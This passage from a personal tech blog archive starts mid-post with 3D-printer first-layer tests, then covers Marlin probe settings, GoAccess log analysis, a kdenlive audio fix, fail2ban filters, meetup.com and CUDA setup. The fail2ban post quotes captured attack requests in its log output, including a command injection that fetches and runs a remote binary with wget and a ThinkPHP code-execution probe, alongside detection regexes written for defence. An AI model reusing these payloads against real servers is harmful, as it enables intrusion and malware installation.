Nozzle height: slightly lower than on previous print
Print speed: 15 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

The waves seem to ripple, which is slightly worse then the previous print, but the edges of the print are more clean. I'll try several tweaks: decrease temperature by 5C, decrease extrusion multiplier slightly to 1.1 and increase nozzle height tiny bit.

I'll increase print speed to note any decrease in quality.

Print test #4. Click on the image for higher resolution
Top
Bottom

#5

This improved things slightly, the ripples are smaller but they are still present.

Nozzle temperature: 215
Extrusion multiplier: 1.1
Nozzle height: slightly higher than on previous print (1/16 of a turn)
Print speed: 25 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

For the next print, I'll bring the temperature up, decrease the print speed slightly and see if this does anything.

Print test #5. Click on the image for higher resolution
Top
Bottom

#6

This print doesn't tell me anything as point X-axis got stuck during print.

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: no change
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

Lubricating rods and bearings on the axis fixed the problem. I'll attempt print with the same settings.

Print test #6. Click on the image for higher resolution
Top
Bottom

#7

This is slightly better, but I mostly run out of variables I can change for the print to make it any better.

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: increase nozzle height
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

I'm going to try turning on part cooling fan, event though it's not recommended for the first layer due to the issues with adhesion, but I want to see how this will affect extrusion width.

Print test #7. Click on the image for higher resolution
Top
Bottom

#8

Set part cooling fan to 20%

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: no change
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 20%

This is slightly better. Now I'm going to turn off part cooling fan to see if anything else changed between the prints. To verify consistency of the results.

Print test #8. Click on the image for higher resolution
Top
Bottom

#9

Turned off the fan for the first layer

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: no change
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

Nothing conclusive I'll try to raise the nozzle a bit and see if that does anything.

Print test #9. Click on the image for higher resolution
Top
Bottom

#10

Raised the nozzle.

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: raise the nozzle
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

This print is OK-ish but it is similar to #8, I'll try raising the nozzle again, maybe a little extra space will make first layer perfect

Print test #10. Click on the image for higher resolution
Top
Bottom

#11

Raise the nozzle again as this seems to be the only variable I haven't tweaked yet

Nozzle temperature: 220
Extrusion multiplier: 1.1
Nozzle height: raise the nozzle
Print speed: 20 mm/s^2
First layer width: 0.45
Part cooling fan 1st layer: 0%

There is too much room in the center of the print causing the layers to go bulge and split this is a lot of worse that #10 and I've raised the nozzle way too far.

Print test #11. Click on the image for higher resolution
Top
Bottom

Conclusions

In my case there is no easy fix and a random article on the internet about how to fix the first layer on your printer might not be considering my particular case, but these articles are useful as an example of different sample problems.

Other things to try to fix the issue:

The bed is bent in the middle (to many nozzle crashed into it one too many times. INstall a new bed and fix probe that it no longer crashes into bed because I didn't put any springs between heated bed to y-axis carrier. That made the bed more susceptible to deformation.
Slow down probing speed and increase number of probing points from 4 to 5. That might help with some inaccuracies. This turned out to be thing that fixed the issue.
There also might be an issue with nozzle clogging and bubbling PLA.
Experiment with creating and loading custom bed mesh. But in this case I will still have to deal with the problem of having really uneven bottom surface of a part.

Fixing the first print layer when usual tweaks don't work

2020-03-22T00:00:00-04:00

Intro

A while a go I built 2 Prusa clones following Tom's 3D guide on building cheapest possible Prusa i3 MK2 [1]. I learned some problem solving working with electronics and physical material, but it is much easier, faster and cheaper to just get a Prusa Kit.

In my system I use 3.0mm thick Prusa MK3-style aluminum heated bed covered with kapton tape and a Finglai LJ2A3-2-Z/BX-5V inductive probe.

I have reworked my printer a few times swapping parts here and there, but one problem that I kept encountering, is really inconsistent first layer when printing common materials like PLA or ABS, except PETG. PETG will stick to anything.

The test

I designed a rectangle in OpenSCAD 40mmx80mmx0.4mm, single-layer height square, which area is large enough to manifest the problem the printer was having.

cube(size[40, 80, 0.4], center=true);

Here how this shape looks before print in Prusa Slicer.

The Problem

Here is an example of inconsistent first layer, this is one of the better prints that I came out.

Top
Bottom

Since the first layer is deformed like that, the extra print material will propagate through the layers and would ruin otherwise perfectly good print.

One day I decided to finally fix the problem by using all the common solutions: like tweaking layer height, extrusion temperature and extrusion width. None of that worked.

Besides a random mechanical issue that I might not have noticed, the only other variable I didn't test was my custom Marlin configuration. My customizations for Marlin 1.1.8 for my 3D printers [2]

The apparent solution

Tried slowing down moves in each direction and it turned out that one of the variables was causing the problem.

Homing federate was set too fast so the inductive probe would trigger after the nozzle moved way too close to the bed. This affected both initial probing and mesh bed leveling. I might have noticed this earlier as sometimes nozzle would ping the bed in some areas during mesh bed leveling.

The 'fast' feedrate was set to 15*60mm/s and the slow was half of that. I set 'fast' speed to 7*60mm/s and increased the number of probing attempts from 2 (1 fast, 1 slow attempt, save the results from slow attempt) to 3 (an average of 3 slow attempts).

Here is relevant documentation from Configuration.h file in Marlin 1.1.8

//   The number of probes to perform at each point.
//   Set to 2 for a fast/slow probe, using the second probe result.
//   Set to 3 or more for slow probes, averaging the results.

Here are all relevant definitions I updated in Configuration.h

#define HOMING_FEEDRATE_Z  (7*60)
#define Z_PROBE_SPEED_SLOW (Z_PROBE_SPEED_FAST / 1.5)
#define MULTIPLE_PROBING 3

Note that Z_PROBE_SPEED_FAST variable becomes irrelevant when MULTIPLE_PROBING is set to greater than two, as in this case only slow probing is performed. Effectively Z_PROBE_SPEED_SLOW in this configuration is 280mm/s

I also increased the number of mesh probing points from 4 to 5. At this point I'm not entirely sure it makes enough difference to be useful, but I'll run tests on it in the future.

#define GRID_MAX_POINTS_X 5
#define GRID_MAX_POINTS_Y GRID_MAX_POINTS_X

The results

Here is the print that came out after probing speed has been adjusted.

Top
Bottom

Apart from the slight defects inherited because of the state of the bed this is a perfect first layer.

Heres the orientation of the print still attached to the bed.

Conclusions

When the usual methods of fixing the first layer settings are ineffective, consider looking at printer firmware settings if those settings where changed in the past.

I'm going to look for a way of having a journal of all firmware and print setting updates. Also taking pictures and writing notes for each significant print. This might be worth the effort to fix several issues with my printer.

References

[1]	Tom's 3d printing guides and reviews \| Building the cheapest possible Prusa i3 MK2

[2]	My Marlin Configs for Dolly i3

GoAccess as google analytics replacement

2020-03-13T00:00:00-04:00

Intro

Since removing google analytics from my blog a few months ago, I kept looking for a tool that would give me some idea who is reading my blog while respecting visitor's privacy.

I have found that tool and it is GoAccess.

GoAccess is an open-source web analytics tool that has text-based (TUI) and single page web-based user interfaces. It is shipped with any linux distro [1] including all of the debian releases [2].

Installation and basic usage

GoAccess is installed with the following command.

# apt install goaccess

Installing GeoIP database will give additional stats on regional breakdown of incoming requests.

# apt install geoip-database

I use Nginx as a static server and I'm interested in analyzing access log files. The log file in question is under 'server' section.

access_log  /var/log/nginx/flamy_ca.access.log;

For more details on setting up nginx, see Nginx config section under 'Moving pelican blog to own server' article [3].

Opening an access_log file with goaccess command will give statistics for the day -- from midnight until now.

You need to be root or belong to the group 'adm' in debian to be able to read the logs.

# goaccess /var/log/nginx/flamy_ca.access.log

That produces nice summary of site visitors, requested files, referring sites etc.

Navigation in GoAccess:

up/down arrows scroll up and down line-by-line.
tab scrolls down section-by-section.
'enter' or right arrow expands each section to show top 10 entries.
keys 1-9 to jump to sections 1 to 9. This doesn't work beyond section 9 -- 'Virtual hosts'.

GoAccess will live update summaries as the logs get appended by nginx process.

Configuration

In my usecase, GoAccess only displays stats for Nginx log. Setting the following defaults in /etc/goaccess.conf skips configuration settings on every invocation of the program.

time-format %H:%M:%S
date-format %d/%b/%Y
log-format %h %^[%d:%t %^] "%r" %s %b "%R" "%u"
color-scheme 3
config-dialog false
hl-header true
agent-list true
ignore-crawlers true
std-geoip true

This is all the configuring needed for basic monitoring. The following command displays the summary for the past two days.

# goaccess /var/log/nginx/flamy_ca.access.log /var/log/nginx/flamy_ca.access.log.1

Both types of logs -- recent (uncompressed) and rotated (compressed) can be viewed in a single report. This is accomplished by connecting the output of uncompressing log stream of rotated log files to goaccess stdin pipe.

# cd /var/log/nginx
# goaccess flamy_ca.access.log flamy_ca.access.log.1 <(zcat flamy_ca.access.log.*.gz)

The screenshot below shows multiple days of log files on 'Unique visitors per day' panel. Pipe redirect is shown as a log source.

Logs are managed by logrotate.d and in the default configuration compressed logs are kept for 14 days.

Theming

The screenshots in this article of GoAccess display 256 Tuesday Bright [4] color scheme that works well with solarized [5] light [6] theme that I use everywhere.

I made some very minor changes to 256 Tuesday Bright theme to get it to work in GoAccess 1.2. The following configuration was appended to /etc/goaccess.conf

color COLOR_MTRC_HITS               color27:color254
color COLOR_MTRC_VISITORS           color161:color254
color COLOR_MTRC_DATA               color28:color254
color COLOR_MTRC_BW                 color173:color254
color COLOR_MTRC_AVGTS              color240:color254
color COLOR_MTRC_CUMTS              color130:color254
color COLOR_MTRC_MAXTS              color92:color254
color COLOR_MTRC_PROT               color161:color254
color COLOR_MTRC_MTHD               color75:color254
color COLOR_MTRC_HITS_PERC          color92:color254
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold VISITORS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold OS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold BROWSERS
color COLOR_MTRC_HITS_PERC_MAX      color92:color254 underline,bold VISIT_TIMES
color COLOR_MTRC_VISITORS_PERC      color92:color254
color COLOR_MTRC_VISITORS_PERC_MAX  color92:color254 underline,bold
color COLOR_PANEL_COLS              color242:color254
color COLOR_BARS                    color26:color254
color COLOR_ERROR                   color231:color161
color COLOR_SELECTED                color15:color161
color COLOR_PANEL_ACTIVE            color7:color243
color COLOR_PANEL_HEADER            color234:color249
color COLOR_PANEL_DESC              color237:color254
color COLOR_OVERALL_LBLS            color234:color254
color COLOR_OVERALL_VALS            color27:color254
color COLOR_OVERALL_PATH            color173:color254
color COLOR_ACTIVE_LABEL            color0:color249
color COLOR_BG                      color0:color254
color COLOR_DEFAULT                 color0:color254
color COLOR_PROGRESS                color7:color161

Managing Logs

I would like to keep the record of the logs for longer than 14 days and make GoAccess web reports for the periods of months and years. There is a 'right' way of doing this, it involves setting up remote logging server and then messing with syslog-ng for a while, but I'm implementing this on a single machine and I'm absolutely unwilling to enterprise my way of it. I'll copy files over ssh.

By default in debian, compressed logs are stored in a numerical order i.e. flamy_ca.access.log.0.gz to flamy_ca.access.log.13.gz I need to update nginx logrotate configuration to use date (yyyy-mm-dd) as a suffix and while I'm at it, switch to lzma compression (.xz file extension) to save a little on storage and data transfer.

This configuration update is not strictly necessary for RedHat-based systems as they use date as a file suffix by default.

My logrotate configuration in /etc/logrotate.d/nginx looks like the following

/var/log/nginx/*.log {
        daily
        missingok
        rotate 14
        compress
        delaycompress
        compresscmd /usr/bin/xz
        compressext .xz
        uncompresscmd /usr/bin/unxz
        notifempty
        create 0640 www-data adm
        dateext
        dateformat .%Y-%m-%d
        sharedscripts
        prerotate
                if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
                        run-parts /etc/logrotate.d/httpd-prerotate; \
                fi \
        endscript
        postrotate
                invoke-rc.d nginx rotate >/dev/null 2>&1
        endscript
}

Beware! logrotate.d needs to be restarted to update the configuration. It took me a few days to figure that one out.

# service logrotate restart

After running new logrotate configuration for a while, I started getting the following rotated log file names

flamy_ca.access.log.2020-02-10.xz
flamy_ca.access.log.2020-02-11.xz
flamy_ca.access.log.2020-02-12.xz
flamy_ca.access.log.2020-02-13.xz
flamy_ca.access.log.2020-02-14.xz
flamy_ca.access.log.2020-02-15.xz
flamy_ca.access.log.2020-02-16.xz
flamy_ca.access.log.2020-02-17.xz
flamy_ca.access.log.2020-02-18.xz
flamy_ca.access.log.2020-02-19.xz
flamy_ca.access.log.2020-02-20.xz
flamy_ca.access.log.2020-02-21.xz
flamy_ca.access.log.2020-02-22.xz
flamy_ca.access.log.2020-02-23.xz
flamy_ca.access.log.2020-02-24.xz

The following script moves compressed logs from /var/log/nginx to a place where archiving script can pull those files to a remote machine. The script also changes user ownership from 'admin' to a user who archives the logs.

#!/usr/bin/env bash

# Move this /usr/local/sbin

# Source config
LOG_SRC_DIR="/var/log/nginx"
LOG_PREFIX="flamy_ca.access.log"
LOG_ARCH_SUFFIX=".xz"

# Destination config
LOG_DEST_DIR="/home/alex/logs/flamy_ca"
LOG_DEST_CRED="alex.alex"


if [ ! -d "${LOG_SRC_DIR}" ]
then
    echo "Source log directory doesn't exist" >> /dev/stderr
    exit 1
fi


if [ ! -d "${LOG_DEST_DIR}" ]
then
    echo "Destination log directory doesn't exist" >> /dev/stderr
    exit 2
fi

mv ${LOG_SRC_DIR}/${LOG_PREFIX}.*${LOG_ARCH_SUFFIX} ${LOG_DEST_DIR}
chown ${LOG_DEST_CRED} ${LOG_DEST_DIR}/*${LOG_ARCH_SUFFIX}

I set up crontab to run daily to clean compressed logs, but this script can be run anytime up to 14 days before logs get cleaned up by logrotate. To clean up logs at the longer interval consider changing rotate option in logrotate configuration.

@daily /usr/local/sbin/archive_logs

To get the logs off the web server, I run the following script from the storage machine.

#!/usr/bin/env bash

# Place this into /usr/local/bin

REMOTE_SERVER="flamy.ca"
REMOTE_DIR="~/logs/flamy_ca"

LOCAL_DIR="~/storage/logs"


echo scp "${REMOTE_SERVER}:${REMOTE_DIR}/*.xz" ${LOCAL_DIR} | sh

ssh ${REMOTE_SERVER} "rm -v ${REMOTE_DIR}/*.xz"

To automate the action of copying the files by setting this script via cron job on the computer that stores the files

@weekly /usr/local/bin/pull_logs

You will need to set up ssh public/private keys via ssh-keygen in order to allow paswordless authentication between the server.

I choose this setup because, the storage server is behind a firewall it is less likely to be compromised, also in case the web server is compromised the attacker will have harder time figuring out the external services associated with the server. However, I'm not a security expert, please take this approach with some skepticism.

Generating html reports

When storing logs in a the single directory I use file completion operator in order to generate monthly logs

$ xzcat flamy_ca.access.log.2020-02-* > feb_2020_report.log

Then generate html report from monthly log

$ goaccess feb_2020_report.log -a -o feb_2020_report.html

This should produce an interactive page that looks similar to the following

Privacy implication of storing web server logs

I have an issue with storing user data, and I'm not sure how GDPR compliant it is -- I have a record of IP addresses that connected to my site and at what time. I will never use this data for anything other than looking at the aggregate summary for site visitors, still I'm going to look for the tool that anonymizes visitor IP addresses and doesn't break GoAccess reports.

References

[1]	Goaccess Downloads \| Distributions

[2]	GoAccess page in Debian Buster

[3]	Moving pelican blog to own server \| Nginx

[4]	256 Tuesday Bright color scheme

[5]	Solarized (color scheme)

[6]	phiggins/konsole-colors-solarized

Audio offset error fix for 4K video after render in kdenlive

2020-02-17T00:00:00-05:00

Intro

If you've used kdenlive to work with 4K video, you likely experienced the problem when playing rendered 4K video clip, audio plays before the video. This feels pretty unsettling and ruins the video for anyone who tries to watch it.

Resizing down to 1080p

I've tired several workarounds like, working in 1080p projects while using 4K clips, or rescaling the final video to 1080p, but none of these approaches worked.

The most simple and reliable thing that wast to resize 4K clips down to 1080p and then work with them in a 1080p project.

Here is the command that given a file, outputs downscaled file_1080p.mp4 utilizing NVIDIA hardware.

#!/bin/bash

/usr/bin/ffmpeg -i ${1} \
    -c:v h264_nvenc \
    -vf scale=1920:1080 \
    -c:a aac \
    -preset lossless \
    -qmax 100 \
    -crf 0 \
    "${1%.*}"_1080p.mp4

This all meant it was not possible to produce or easily crop 4K video in kdenlive.

4K fix (workaround)

Turns out the bug is in MLT framework, and while the project is getting around to make a fix for the issue, Kdenlive 19.12.1 contains a workaround written by j-b-m, and I've tested it in MLT issue #231

The workaround consists of a new option in clip properties -- Audio sync. Setting audio sync to -170ms.

You will need to do this for every clip in the project. In case you are using proxies, each proxy will be re-calculated every time Audio sync value is changed.

The results

On the left is the video with original problem, on the right the one with -170ms offset.

Side-by side comparison of 4k video using default parameters (left) and -170ms audio offset
Original	-170ms offset

The sample was taken from the video What I've learned about Ultra HD with D. Hugh Redelmeier

Banning log and mail spam with Fail2Ban

2020-01-14T00:00:00-05:00

Intro

Since I've set up my self-hosted blog I've been using goAccess log analyzer -- it is a really handy program that gives me a summary of my http log with very little set up.

Looking at my logs revealed a lot of bot spam, which I find very annoything to look at.

I can filter out these records using goAccess, but I might as well ban these bots with fail2ban.

If you haven't installed fail2ban already, it's available for most of the distribution. Here is debian and it is installable with

# apt install fail2ban

Tweaking existing config

I've been running fail2ban for a while but I've never verified if any of the rules were effective. Some of them aren't that effective by default -- there is /etc/filter.d/nginx-botsearch.conf rule that is supposed to help with the bots, but I had an issue with the configuration parameter /etc/fail2ban/jail.conf which points this rule to error log, that shows only some of the bot requests. In order to cover all the requests I want to filter I changed the definition as follows

[nginx-botsearch]

port     = http,https
logpath  = %(nginx_error_log)s
           %(nginx_access_log)s
maxretry = 1

After testing the regular expression in nginx-botsearc.conf with the following command on my nginx access log, the results returned on 2 matches.

# fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/nginx-botsearch.conf --print-all-matched
...
lines: 288 lines, 0 ignored, 2 matched, 286 missed
[processed in 0.03 sec]

|- Matched line(s):
|  109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] "GET /wp-login.php HTTP/1.1" 404 169 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
|  134.209.211.69 - - [14/Jan/2020:11:03:32 -0500] "GET /wp-login.php HTTP/1.1" 404 142 "http://flamy.ca/wp-login.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

Just by looking at the file I found at least 30 bot requests in my log file.

Banning log spam on a static site

Since I'm running a static website, I'm able to make several assumptions about the visitors.

I won't get any POST or PUT requests

I won't get any requests containing '.php' extensions or any mention of PHP development tools like xdebug.

Legitimate users don't use complex attack strings. containing this sequence \\x.

And searching on stack overflow I found a few regex express that seem to work with the data from my log file.

I put the file in /etc/fail2ban/filter.d/staticsite.conf.

[Definition]

failregex = ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+\.php .+$
            ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+\.php.+$
            ^<HOST> \- \S+ \[\] \"(GET|POST|HEAD) .+XDEBUG.+$
            ^<HOST> \- \S+ \[\] \"(POST|PUT).*$
            ^<HOST> .* ".*\\x.*" .*$

ignoreregex =

datepattern = {^LN-BEG}%%ExY(?P<_sep>[-/.])%%m(?P=_sep)%%d[T ]%%H:%%M:%%S(?:[.,]%%f)?(?:\s*%%z)?
              ^[^\[]*\[({DATE})
              {^LN-BEG}

Testing the configuration catches the worst offenders.

fail2ban-regex /var/log/nginx/flamy_ca.access.log /etc/fail2ban/filter.d/staticsite.conf --print-all-matched
...
Lines: 289 lines, 0 ignored, 29 matched, 260 missed
[processed in 0.04 sec]

- Matched line(s):
141.98.9.54 - - [14/Jan/2020:01:57:00 -0500] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-"

172.105.89.161 - - [14/Jan/2020:02:23:29 -0500] "POST /ajax HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36"

198.27.80.123 - - [14/Jan/2020:04:49:17 -0500] "GET /wp-login.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36"

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] "POST /xmlrpc.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8"

137.117.178.120 - - [14/Jan/2020:07:21:54 -0500] "POST /blog/xmlrpc.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8"

109.121.103.27 - - [14/Jan/2020:08:47:25 -0500] "GET /wp-login.php HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"

113.53.231.82 - - [14/Jan/2020:08:57:26 -0500] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 185 "-" "ZmEu"

193.57.40.46 - - [14/Jan/2020:10:49:08 -0500] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

220.92.153.250 - - [14/Jan/2020:12:22:20 -0500] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 173 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"

5.101.0.209 - - [14/Jan/2020:14:42:21 -0500] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 197 "http://173.255.232.158:80/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Finally, adding this configuration to /etc/fail2ban/jail.conf enables fail2ban to ban IP addresses matching these patterns

[staticsite]
port    = http,https
logpath = %(nginx_error_log)s
          %(nginx_access_log)s
maxretry = 1

Restarting fail2ban activates this configration

# service fail2ban restart

Looking for requested files in nginx access log the next day, after the logs have been rotated, shows the most of the spam requests are no longer there.

Banning mail spam

While looking at the logs nearby I noticed that someone is repeatedly trying to send email spam, getting rejected by RBL.

NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1 <luisvela1029@gmail.com>: Relay access denied; from=<warrior@flamy.ca> to=<luisvela1029@gmail.com> proto=ESMTP helo=<WIN-U9LAUEU6VC2>

Not wanting to strain RBL providers I decided to ban the IP addresses caught by RBL. I looked at the fail2ban configuration again, it pointed to a wrong path -- /var/log/mail.err instead where the errors show up -- /var/log/mail.log.

After setting correct path to a mail log file in /etc/fail2ban/paths-common.conf like the following

postfix_log = /var/log/mail.log

I started looking for the most generic fail2ban rejex as possible -- when the line beginning with 'reject: RCPT' shows up in the log, it is certainly spam being rejected by RBL.

I have found one on fail2ban wiki. Now my postfix-rbl.conf looks like the following

[INCLUDES]
before = common.conf
[Definition]
_daemon = postfix(-\w+)?/smtpd
failregex = reject: RCPT from (.*)\[<HOST>\]: 550 5.1.1
            reject: RCPT from (.*)\[<HOST>\]: 450 4.7.1
            reject: RCPT from (.*)\[<HOST>\]: 554 5.7.1
ignoreregex =

Testing the filter shows it catching all the RBL reject messages.

# fail2ban-regex /var/log/mail.log /etc/fail2ban/filter.d/postfix-rbl.conf  --print-all-matched
...
Jan 13 16:30:29 localhost postfix/smtpd[18889]: NOQUEUE: reject: RCPT from unknown[185.208.211.174]: 554 5.7.1

Other than the changes above, I use existing [postfix-rbl] configuration in /etc/fail2ban/jail.conf.

[postfix-rbl]

filter   = postfix[mode=rbl]
port     = smtp,465,submission
logpath  = %(postfix_log)s
backend  = %(postfix_backend)s
maxretry = 1

Tweaking fai2ban behaviour

By default fail2ban allows 5 retries when ban filter matches before ban takes effect, the ban time is set to 10 minutes and ssh configuration has 'normal' mode.

I consider these defaults to be far too lenient and since I use SSH key authentication instead of pass phrase, I don't expect have multiple attempts to logging in, I will set aggressive mode for ssh section.

As a result my configuration looks like the following

bantime  = 5h
maxretry = 1
...
[sshd]
mode   = aggressive
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

I also removed configuration blocks related to Apache and lighttpd web servers as I don't run them.

Community organizing and meetup.com

2020-01-13T00:00:00-05:00

The article published on January 13, 2020 and updated on January 27.2020

Presentation

Here is the recording of a presentation of this blog post at a GTALUG meeting on January 14, 2020.

Direct link to the video in case youtube embedding is disabled -- https://www.youtube.com/watch?v=0I880MBDAXM

Intro

I'm a board member of GTALUG (Greater Toronto Area Linux Users Group). We hold monthly meetings and we are always looking to invite people to our events. Around Toronto meetup.com has been a de-facto tool to manage group membership for regular tech events. Last year we decided to sign up for meetup.com and see if we can get new people to show up.

Metrics

Our primary goal in determining the success or failure is two numbers: the number of people who show up at a meeting and the number of people who become members.

The structure of our organization is such that our meetings are free to attend, however we have some expenses such as running our website and participating in linux-related events in our area. We cover these expenses with our membership fee, that gives a right to vote for board members & president, the fee is $20 CAD.

Since the 6-month meetup.com organizer subscription would cost us $133 CAD we would expect to gain 13 members a year to break even.

Attendance Data

Unfortunately our attendance numbers are sometimes patchy and the experiment began with a rocky start. We have to cancel the first scheduled meeting due to a snowstorm.

The first column of the following table shows the number of people that replied 'yes' to attend our meetup, the total number of people that showed up at our meeting, and the number of people who showed up at a meeting on the same month in 2018 as a reference.

Attendance summary
Month	Meetup	att 2019	att 2018
Mar	22	30	18
Apr	12	24	17
May	11	16	20
Jun	11	21	13
Jul	14	24	17
Aug	11	23	13
Sep	7	13	22
Oct	25	n/a	21
Nov	10	n/a	18
Dec	8	16	16

Here is this data as a graph.

We can't completely rely on the numbers here, because some meetings bring out more people than others, but we did get a significant bump in attendance during summer months.

Unfortunately our membership didn't grow as expected. The following table sows 2018/2019 membership data.

Membership
2019	2018
12	15

I don't know how realistic it is to double our group membership in a year, but we are nowhere close to breaking even. Some numbers were more optimistic, as of this writing we had 211 members of our meetup group.

Maybe if we were given some time and promoted our membership option more, the greater number of people would come to our meeting and eventually become paid members. Unfortunately we are nowhere near the numbers that we expected to have in order to justify this expense.

Disengaging

As we were slowly heading towards our decision to disengage from meetup.com, when it has been announced that they are rolling out a different pricing model, charging $2 USD per person attending the event. From our perspective, for the same period in 2019 that would have cost us $346.5 USD as opposed to $266 CAD. In case we were succeeding in increasing the attendance, we would not be able to afford it.

There's also another question with non-commercial non-profit groups -- the money spent on simply paying for the people to show up could be spent on things that bring value for the people who already attend.

Since we've been members of the meetup.com group for a year, I wanted to extract emails of everyone who signed up for a group so we could contact the people to let them know that we're discontinuing our group. Meetup.com lets you download a csv file with the membership summary however the file doesn't contain email addresses.

At first I considered this to be an attempt to lock us into their service, but on the second thought, I'm not sure how ethical it is to harvest email addresses. meetup.com gives us an alternative to notify every member of the group, the alternative I'm going to use.

I will write a message on January 15 saying that this group will close down in a week and if any members of the group want to keep in touch they could either sign up to our announce mailing list, or gettogether.

Alternatives

While managing our meetup.com page I have recognized the value of software that lets people interested in going to tech meetings to know that our group exists and we are organizing events. This seems like a least bad way of advertising.

However, all the commercial platforms will attempt to lock in and extract value from us. The major feature of any software used in community-organizing is the people who show up, not so much the software that brings them here, and it is really up to us, as members of communities, to choose what lets our community, and communities around us to thrive.

gettogether.community

In May 2019 created an event page on https://gettogether.community website and have been posting events there. We have about 10 people there as members of our group, compared to 200+ on meetup, and this is the biggest drawback of this event management system.

This is also an open-source project, built with Python 3 and Django, it aims to be feature-competitive with Meetup.com, federated and cost-effective hosting for FOSS communities.

Federation feature hasn't been implemented yet, but other than that, using the site lets me do most of the things I need from Meetup.com, one feature I want to mention in particular -- private groups & events. I wish there was an ability to ask users joining community a question or agree to follow a code of conduct.

I really like the absence of spammy notifications. I find it cute that I would get an email a day before the event letting me know that there's an upcoming event. There are no communications unrelated to the events I RSVP'd.

Honorable mentions

Other open-source alternatives to meetup:

chapter -- a freeCodeCamp tool made for organizing chapter events. Implemented with Node.js and docker
Mobilizon -- a free federated tool to get events off facebook. Currently being developed by Framasoft, the same company that develops PeerTube.
gath.io -- a quick and easy way to make shared events that respect your privacy. soure repo.
A list of open-source meetup alternatives.

Setting up nvidia cuda for tensorflow in debian

2020-01-06T00:00:00-05:00

Intro

In this article I describe how to set up supported Nvidia hardware to work with debian, by the end you should be able to run a tensorflow tutorial on the video card. I ran this tutorial on Nvidia GTX 1060 6GB.

This tutorial uses CUDA kit packaged by Debian project and not the one provided by Nvidia for Ubuntu

This is a part of the talk I gave at August 2019 GTALUG meeting. I've been coming back to the video for the various bits of settings and perhaps having this written down would be more useful.

Requirements

The following is needed to successfully run tensorflow-gpu. See tensorflow website for updated list & details.

NVIDIA GPU drivers
CUDA toolkit
CUPTI ships with CUDA toolkit
cuDNN SDK

Library installation

Add non-free repository to your /etc/apt/sources.list if you haven't already

deb http://ftp.ca.debian.org/debian/ buster main contrib non-free
deb-src http://ftp.ca.debian.org/debian/ buster main contrib non-free

Run apt update & upgrade as a superuser

# apt update
# apt upgrade

Install CUDA package

# apt install nvidia-cuda-dev nvidia-cuda-toolkit  nvidia-driver

Install CUDDN package

Unfortunately the license for the package doesn't allow it to be distributed by the third-party, like debian repos, so you will have to register fill out survey on nvidia website https://developer.nvidia.com/cudnn in order to download the package.

The discussion on detailed issues preventing packaging this can be found at this page -- https://bugs.debian.org/862524.

Once downloaded, install the package with the following command

# dpkg -i libcudnn6_6.0.20-1_cuda8.0_amd64.deb

Tensorflow installation

Create a Python 3 virtual environment and install tensorflow and tensorflow-gpu packages with the following command

$ pip install tensorflow tensorflow-gpu

Clone tensorflow models tutorial and attempt to run classify_imagenet.py script

$ git clone https://github.com/tensorflow/models.git
$ cd models/tutorials/image/imagenet
$ python3 classify_image.py

I theory, at this point the classification script should work, however in practice it doesn't.

